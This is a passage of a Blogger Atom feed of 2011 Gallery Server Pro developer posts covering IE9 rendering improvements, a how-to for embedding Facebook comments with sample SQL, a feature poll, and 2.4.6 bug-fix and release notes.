the gallery skips a call to the membership UpdateUser() method, thereby sidestepping the possibility of the membership provider throwing a permission error. Voila – you can now manage role membership for users even when using Active Directory in read-only mode.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6647313603419996007?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6647313603419996007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6647313603419996007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6647313603419996007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6647313603419996007'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/04/gallery-server-pro-247-released.html' title='Gallery Server Pro 2.4.7 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2188016401947238376</id><published>2011-03-17T10:31:00.001-05:00</published><updated>2011-03-17T10:31:46.422-05:00</updated><title type='text'>Better looking galleries in IE9</title><content type='html'>&lt;p&gt;Gallery Server Pro makes extensive use of rounded corners and drop shadows to make a great looking gallery. While other browsers have supported these features for a while, IE has lagged behind. Now I am pleased to report that IE has finally caught up! After you upgrade to IE9 your galleries will suddenly look a little more awesome.&lt;/p&gt;  &lt;p&gt;For example, here is a typical album as seen in IE8:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="album_view_ie8" border="0" alt="album_view_ie8" src="http://lh6.ggpht.com/_qh4427KVFsk/TYIpVkLR0nI/AAAAAAAAASc/sxCQyLn76n8/album_view_ie8%5B4%5D.jpg?imgmax=800" width="604" height="422" /&gt;&lt;/p&gt;  &lt;p&gt;Now the same album in IE9:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="album_view_ie9" border="0" alt="album_view_ie9" src="http://lh6.ggpht.com/_qh4427KVFsk/TYIpV8LozNI/AAAAAAAAASg/WXJ78Tl2ID8/album_view_ie9%5B4%5D.jpg?imgmax=800" width="604" height="425" /&gt;&lt;/p&gt;    &lt;p&gt;The thumbnail images, the frame, and the paging controls all have nice rounded corners, and the images have a nice drop shadow effect.&lt;/p&gt;  &lt;p&gt;When you click an image, this is what IE8 will show:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="mo_view_ie8" border="0" alt="mo_view_ie8" src="http://lh3.ggpht.com/_qh4427KVFsk/TYIpWS2TMbI/AAAAAAAAASk/0QSOC7dJe6k/mo_view_ie8%5B5%5D.jpg?imgmax=800" width="500" height="438" /&gt;&lt;/p&gt;  &lt;p&gt;The same image in IE9:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="mo_view_ie9" border="0" alt="mo_view_ie9" src="http://lh3.ggpht.com/_qh4427KVFsk/TYIpWkLC7AI/AAAAAAAAASo/lsOSFhUDkFk/mo_view_ie9%5B5%5D.jpg?imgmax=800" width="500" height="438" /&gt;&lt;/p&gt;    &lt;p&gt;Astute observers will notice that the IE8 screen shots *do* have a drop shadow similar to the IE9 shots. That is because years ago I decided I couldn’t wait for IE to add drop shadow support, so I implemented a complicated hack to simulate the effect with nested div tags and images. I describe the technique in this &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4-Released&amp;amp;id=7372905032415653158"&gt;blog post&lt;/a&gt;. Gallery Server Pro still uses the older technique for IE 8 and earlier, but all other browsers – including IE9 – get the new CSS drop shadow. The end result is that using CSS instead of a hack results in much simpler HTML, allowing for such basic improvements as centering images. Here is an image in IE8 – notice how it is left-aligned:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image_not_centered[4]" border="0" alt="image_not_centered[4]" src="http://lh3.ggpht.com/_qh4427KVFsk/TYIpXRUPe6I/AAAAAAAAASs/nOSAxrkMxMA/image_not_centered%5B4%5D%5B5%5D.png?imgmax=800" width="423" height="518" /&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;The same image in IE9:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image_centered[4]" border="0" alt="image_centered[4]" src="http://lh5.ggpht.com/_qh4427KVFsk/TYIpYXW9JqI/AAAAAAAAASw/2OYHvXQvpwQ/image_centered%5B4%5D%5B5%5D.png?imgmax=800" width="428" height="525" /&gt;&lt;/p&gt;    &lt;p&gt;These are just a few of the places where better CSS support results in a better looking gallery. To get these improvements, all you need is IE9 and any version of Gallery Server Pro 2.4.0 or higher. Enjoy!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2188016401947238376?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2188016401947238376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2188016401947238376' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2188016401947238376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2188016401947238376'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/03/better-looking-galleries-in-ie9.html' title='Better looking galleries in IE9'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/TYIpVkLR0nI/AAAAAAAAASc/sxCQyLn76n8/s72-c/album_view_ie8%5B4%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6767152078814869210</id><published>2011-03-10T17:37:00.001-06:00</published><updated>2011-03-13T19:59:36.628-05:00</updated><title type='text'>Add the Facebook comment widget to your gallery</title><content type='html'>&lt;p&gt;One of the frequent requests I get is the ability for users to comment on photos and other media objects. I am considering adding this feature – in fact, it is one of the items you can &lt;a href="http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx"&gt;vote for in the poll I am running&lt;/a&gt;. But today I discovered a technique for incorporating the Facebook comment widget right into your gallery. I enabled this feature on an &lt;a href="http://www.galleryserverpro.com/demo.aspx?aid=4856"&gt;album in the demo site&lt;/a&gt; so you can see for yourself. Feel free to leave a comment on one or more photos – I’ll purge them periodically.&lt;/p&gt;  &lt;p&gt;This is not for everyone. Users need a Facebook account, and it is a little tricky to set up and maintain. For these reasons, I am reluctant to add this as a built-in feature. But for some of you this will be an excellent addition to the gallery.&lt;/p&gt;  &lt;p&gt;Here is what it looks like:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="gsp_with_facebook_comments" border="0" alt="gsp_with_facebook_comments" src="http://lh3.ggpht.com/_qh4427KVFsk/TX1oeEuZpoI/AAAAAAAAASY/6uEDy8zxzcg/gsp_with_facebook_comments%5B4%5D.jpg?imgmax=800" width="504" height="624" /&gt;&lt;/p&gt;  &lt;p&gt;There are a few steps getting this to work.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;1. Add a script tag to the web page hosting the gallery control.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Open default.aspx in a text editor and add this line somewhere in the &amp;lt;head&amp;gt; section:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;&amp;lt;script src=&amp;quot;http://connect.facebook.net/en_US/all.js#xfbml=1&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;2. Update mediaobjectview.js&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Two javascript functions in \gs\script\mediaobjectview.js must be updated to call the Facebook API. In showNextMediaObject() and showPrevMediaObject(), find this line of code:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;document.body.style.cursor = &amp;quot;default&amp;quot;;&lt;/p&gt;  &lt;p&gt;Then add this line just *before* it:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;if (typeof (FB) != 'undefined') FB.XFBML.parse();&lt;/p&gt;  &lt;p&gt;Because the file is minified, it is difficult to edit, so for your convenience just grab the &lt;a href="http://www.galleryserverpro.com/gs/script/mediaobjectview.js"&gt;one used on the demo site&lt;/a&gt;. If you are running a different version than the one on the demo site you’ll have to manually edit the file. To make this easier, you could edit the un-minified version that is in the source code download (Website\gs\script\mediaobjectview.debug.gs) and then run it through any minifier (&lt;a href="http://www.refresh-sf.com/yui/"&gt;like this one&lt;/a&gt;).&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;3. Enable HTML editing and add the ‘fb:comments’ tag.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Log in to your gallery as an administrator and turn on HTML editing on the User Settings page. Then add ‘fb:comments’ as a valid HTML tag.&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_qh4427KVFsk/TXlgwaeAfkI/AAAAAAAAASU/qcvT9D6_hqc/image%5B9%5D.png?imgmax=800" width="599" height="228" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;4. Update each media object caption with the Facebook HTML snippet.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;For each media object where you want to enable comments, edit the caption and add this HTML after the regular caption:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div id=&amp;quot;fb-root&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;&amp;lt;fb:comments href=&amp;quot;&lt;a href="http://www.site.com/default.aspx"&gt;http://www.site.com/default.aspx&lt;/a&gt;&lt;a href="http://www.galleryserverpro.com/demo.aspx?moid=8274&amp;quot;"&gt;?moid=8274&amp;quot;&lt;/a&gt;&amp;gt;&amp;lt;/fb:comments&amp;gt;&lt;/p&gt;  &lt;p&gt;Replace the URL with the actual URL to your media object. Notice there are several spaces before the first &amp;lt;div&amp;gt;. That is intentional, as it provides a buffer to prevent Gallery Server Pro from accidentally rendering the comment widget on the thumbnail image. Save your changes and then refresh the page. The Facebook comment widget should appear just below the caption.&lt;/p&gt;  &lt;p&gt;Pretty cool, huh?&lt;/p&gt;  &lt;p&gt;Updating the caption for every media object is pretty tedious, so below I describe a shortcut.&lt;/p&gt;  &lt;p style="margin-top: 30px"&gt;&lt;strong&gt;&lt;font color="#804000"&gt;Disclaimers and caveats&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;BROKEN CAPTION EDITING&lt;/strong&gt; – This technique breaks the ability to edit a caption on the single media object view. Once you comment-enable a media object, the only way to edit its caption is through the Edit Captions task available in the Actions menu. And when you do, you have to be careful not to edit the Facebook HTML that is part of the caption.&lt;/p&gt;  &lt;p&gt;Remember, Gallery Server Pro was not designed for this comment widget, so it is kind of a hack to add it to the comment field. If you don’t like this limitation, then don’t use this technique.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;NO SUPPORT&lt;/strong&gt; – Gallery Server Pro does not provide support for the Facebook comment widget, so you are on your own. I did minimal testing and don’t know how robust it is or even whether it is a good idea. It may kill your hamster. That said, I am curious to hear your feedback and experiences.&lt;/p&gt;  &lt;p style="margin-top: 30px"&gt;&lt;strong&gt;&lt;font color="#804000"&gt;Comment-enable your whole gallery (or just an album) in one step&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Rather than update each media object one at a time, you can execute a SQL statement against the database to comment-enable all your media objects at once. Here is some example SQL – it adds the necessary Facebook HTML to any existing text in the Title column of the gs_MediaObject table.&lt;/p&gt;  &lt;p&gt;SQLite:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;UPDATE gs_MediaObject    &lt;br /&gt;SET Title=Title || &amp;quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div id='fb-root'&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;fb:comments href='&lt;a href="http://www.site.com/default.aspx"&gt;http://www.site.com/default.aspx&lt;/a&gt;&lt;a href="http://localhost/dev/gs/default.aspx?moid=&amp;quot;"&gt;?moid=&amp;quot;&lt;/a&gt; || MediaObjectId || &amp;quot;'&amp;gt;&amp;lt;/fb:comments&amp;gt;&amp;quot;&lt;/p&gt;  &lt;p&gt;SQL Server:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;UPDATE gs_MediaObject    &lt;br /&gt;SET Title=Title + &amp;quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div id='fb-root'&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;fb:comments href='&lt;a href="http://www.site.com/default.aspx"&gt;http://www.site.com/default.aspx&lt;/a&gt;&lt;a href="http://localhost/dev/gs/default.aspx?moid=&amp;quot;"&gt;?moid=&amp;quot;&lt;/a&gt; + MediaObjectId + &amp;quot;'&amp;gt;&amp;lt;/fb:comments&amp;gt;&amp;quot;     &lt;br /&gt;WHERE FKAlbumId=XXXX&lt;/p&gt;  &lt;p&gt;Add a WHERE clause – like in the second SQL – to update the items in just one album. It is beyond the scope of this post to tell you how to execute SQL, so if you don’t know, you’ll have to learn or just forget the idea.&lt;/p&gt;  &lt;p&gt;As you add objects to your gallery, you will need to manually update each caption or re-apply the SQL. But don’t run the SQL more than once against the same set of media objects, or you’ll start to get multiple copies of the Facebook HTML.&lt;/p&gt;  &lt;p style="margin-top: 30px"&gt;&lt;strong&gt;&lt;font color="#804000"&gt;More information&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;To learn more about the Facebook Comments Box, &lt;a href="http://developers.facebook.com/docs/reference/plugins/comments/"&gt;read the documentation&lt;/a&gt;. It includes information about moderation tools to help you manage the comments.&lt;/p&gt;  &lt;p&gt;I think some of you will really like this trick. Let me know how it goes!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6767152078814869210?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6767152078814869210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6767152078814869210' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6767152078814869210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6767152078814869210'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/03/add-facebook-comment-widget-to-your.html' title='Add the Facebook comment widget to your gallery'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/TX1oeEuZpoI/AAAAAAAAASY/6uEDy8zxzcg/s72-c/gsp_with_facebook_comments%5B4%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5479156671853378197</id><published>2011-03-09T08:32:00.001-06:00</published><updated>2011-03-09T08:32:30.587-06:00</updated><title type='text'>Vote for the features you want to see</title><content type='html'>&lt;p&gt;Now that Gallery Server Pro 2.4 is good and solid I am thinking about the next major features for 2.5. What should they be? I have a hunch, but I want to be a bit more scientific about this, so I created an online poll. Vote for the features you want to see here:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx" href="http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx"&gt;http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;There is a very good chance that the top two or three vote-getters will make into into 2.5, so make yourself heard! And if you want a feature that isn’t listed, want to add detail, or you want to remind me of a previous feature request that is important, add your comment to that thread.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5479156671853378197?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5479156671853378197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5479156671853378197' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5479156671853378197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5479156671853378197'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/03/vote-for-features-you-want-to-see.html' title='Vote for the features you want to see'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2029861759477320357</id><published>2011-03-03T12:10:00.001-06:00</published><updated>2011-03-03T12:10:44.607-06:00</updated><title type='text'>2.4.6 patched with minor bug fixes</title><content type='html'>&lt;p&gt;Since releasing 2.4.6 on February 21, a few bugs have surfaced. I wanted to quickly fix them instead of making you wait for the next release, so I updated the existing 2.4.6 versions to include the fixes. These were updated today, so if you downloaded them earlier, you may want to &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;upgrade&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;These bugs were fixed:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;BUG: ArgumentOutOfRangeException on account creation page when anonymous browsing is disabled&lt;/li&gt;    &lt;li&gt;BUG: Auto-synch fails when images contain GPS data&lt;/li&gt;    &lt;li&gt;BUG: (DotNetNuke only) Auto-sync function causes error emails to not be sent&lt;/li&gt;    &lt;li&gt;BUG: “String was not recognized as a valid DateTime” error after enabling auto-sync in non-United States cultures&lt;/li&gt;    &lt;li&gt;BUG: Cannot play audio or video when option 'Allow anonymous browsing of high resolution images' is disabled&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;There were also a few changes in behavior for the HTTP handler that serves media files to the browser:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;A request for a resource that no longer exists now returns an HTTP 404 status code. Previously it returned 200 (OK) with an empty body. This change helps search bots know when to remove an item from its database.&lt;/li&gt;    &lt;li&gt;File-not-found errors are no longer logged as an error. This is because search bots re-indexing a site can generate hundreds of file-not found errors by requesting items that had been moved or deleted since the last time. This shouldn’t be treated as an error. &lt;/li&gt;    &lt;li&gt;A request that fails the security test now returns an HTTP 403 (forbidden) status code. Previously it return 200 (OK) but didn’t include the media file. This is basically a “best practice” change that shouldn’t have much impact.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;The final change is that e-mails are no longer sent each time an auto-sync begins and ends. They are, however, logged to the error log – even though they are not errors. (Note to self: In a future version rework the error log to be an EVENT log.)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Upgrading&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;If your current version is earlier than 2.4.6, follow the standard upgrade instructions in the Admin Guide. If you are already on 2.4.6, just replace the following files in your bin directory with the ones from the 32-bit or 64-bit download (doesn’t matter, since these three are the same in both):&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;GalleryServerPro.Business.dll&lt;/li&gt;    &lt;li&gt;GalleryServerPro.ErrorHandler.dll&lt;/li&gt;    &lt;li&gt;GalleryServerPro.Web.dll&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;DotNetNuke Users &lt;/strong&gt;– Download the latest ZIP module and install just as you would a new module. The installer will ask if you want to repair the current installation. Choose yes.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2029861759477320357?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2029861759477320357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2029861759477320357' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2029861759477320357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2029861759477320357'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/03/246-patched-with-minor-bug-fixes.html' title='2.4.6 patched with minor bug fixes'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8678970410512146353</id><published>2011-02-21T17:17:00.001-06:00</published><updated>2011-02-24T15:42:36.364-06:00</updated><title type='text'>Gallery Server Pro 2.4.6 Released</title><content type='html'>&lt;p&gt;Less than two months after 2.4.5 was released, I am pleased to announce 2.4.6. There are a bunch of new features along with the normal collection of bug fixes.&lt;/p&gt;  &lt;p&gt;The Admin Guide has instructions for upgrading to this version. The short story is that you use the Upgrade Wizard for upgrading from 2.3.*. To upgrade from 2.4.*, simply replace the web files with the latest version.&lt;/p&gt;  &lt;p&gt;The philosophy behind this release was to implement the “low-hanging fruit” features that have been frequently requested but didn’t require significant resources. In the coming weeks I will post a roadmap about what is coming down the pipe.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#c0504d" size="3"&gt;New features&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Automatic synchronizations &lt;/li&gt;    &lt;li&gt;Synchronizations can be remotely triggered &lt;/li&gt;    &lt;li&gt;Synchronization performance increases, especially for large galleries &lt;/li&gt;    &lt;li&gt;Improved UI feedback during synchronizations &lt;/li&gt;    &lt;li&gt;Faster search performance &lt;/li&gt;    &lt;li&gt;‘Embed code’ allows media objects to be added to other web sites &lt;/li&gt;    &lt;li&gt;New admin setting: Allow users to download media files but not entire albums &lt;/li&gt;    &lt;li&gt;Albums always sorted at the beginning of any thumbnail list &lt;/li&gt;    &lt;li&gt;Allow keeping underlying file or directory when deleting objects &lt;/li&gt;    &lt;li&gt;More flexibility when choosing a thumbnail image for an album &lt;/li&gt;    &lt;li&gt;More flexibility for generating captions for new media objects &lt;/li&gt;    &lt;li&gt;More metadata extracted from files, including IPTC and GPS properties &lt;/li&gt;    &lt;li&gt;GPS coordinates now link to Bing or Google Maps &lt;/li&gt;    &lt;li&gt;Admin can specify order and visibility of metadata &lt;/li&gt;    &lt;li&gt;jQuery path setting exposed in admin area &lt;/li&gt;    &lt;li&gt;Additional application details shown in admin area &lt;/li&gt;    &lt;li&gt;Improved thread safety &lt;/li&gt;    &lt;li&gt;Added support for router port forwarding scenarios &lt;/li&gt;    &lt;li&gt;Upgraded to jQuery 1.5 &lt;/li&gt;    &lt;li&gt;Upgrade to latest version of SharpZipLib &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#c0504d" size="3"&gt;Bug fixes&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Synchronization estimated time left never changes from “Calculating…” &lt;/li&gt;    &lt;li&gt;Album thumbnails not always correctly updated after moving media objects &lt;/li&gt;    &lt;li&gt;Null reference exception when HttpContext.Current.Request.Browser.Browsers is null &lt;/li&gt;    &lt;li&gt;E-mail notification sometimes stops working &lt;/li&gt;    &lt;li&gt;Anonymous user can view media object when anonymous browsing is disabled &lt;/li&gt;    &lt;li&gt;Titles of new objects are empty strings when metadata value contains whitespace &lt;/li&gt;    &lt;li&gt;Metadata window shows only the first 20 metadata items &lt;/li&gt;    &lt;li&gt;DivideByZeroException caused by invalid metadata &lt;/li&gt;    &lt;li&gt;Rating metadata imported when it has never been assigned &lt;/li&gt;    &lt;li&gt;User loses breadcrumb location when saving change on Gallery Settings page &lt;/li&gt;    &lt;li&gt;Gallery setting 'Discard the original image when it is added to the gallery' is always unchecked and cannot be enabled &lt;/li&gt;    &lt;li&gt;Now able to extract ZIP archives created by Hotmail &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Synchronization improvements&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Several changes to the synchronization area improves user feedback, performance, and gives administrators additional management options.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Performance improvements: &lt;/strong&gt;GSP has always been able to handle hundreds of thousands of files, but around the 100,000 object mark or so the synchronization process would get noticeably slower. Database profiling revealed that significant gains could be made by adjusting one of the stored procedures and adding an index and a few statistics. There were also some changes to the API that reduced unnecessary overhead. For example, there was no need to load the metadata associated with existing media objects at the beginning of a synchronization. By modifying the code to allow for a “lightweight” version of each media object, they load much faster and put reduced pressure on the memory of the server.&lt;/p&gt;  &lt;p&gt;The database tuning applies only to SQL Server. If you are using SQLite and are experiencing performance issues, then you should migrate to SQL Server. The Admin Guide has instructions.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Improved UI feedback during synchronization:&lt;/strong&gt; The first step in any synchronization is to load the existing media objects into memory. When the gallery contains hundreds of thousands of items, this can take a while. Prior versions of GSP did not update the progress window during this phase, leading users to wonder what was happening or thinking the application locked up. Worse, a bug compounded the problem by sometimes incorrectly showing “Calculating…” for the entire duration of the synchronization instead of giving meaningful updates.&lt;/p&gt;  &lt;p&gt;The bug has been fixed. And now the progress window informs the user during the initial phase where items are loaded into memory, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLyTzEmbcI/AAAAAAAAARQ/Xv5NGB4bVU4/image%5B4%5D.png?imgmax=800" width="547" height="355" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Auto-sync and remotely triggered syncs:&lt;/strong&gt; You can now schedule a synchronization to automatically occur at periodic intervals. This allows the gallery to automatically stay up to date with files and directories in the media objects directory on the server. This feature can be managed on the Albums page in the site admin area:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_qh4427KVFsk/TWLyUlRCcMI/AAAAAAAAARU/na4lYDsVr9I/image%5B9%5D.png?imgmax=800" width="557" height="286" /&gt;&lt;/p&gt;  &lt;p&gt;The scheduling logic depends on the application being kept alive by periodic HTTP requests. If no one browses the gallery, the code that checks if a sync is required never runs. As you might expect, the sync interval is only approximate, but should be reasonably accurate in any gallery that has at least a few hits per hour.&lt;/p&gt;  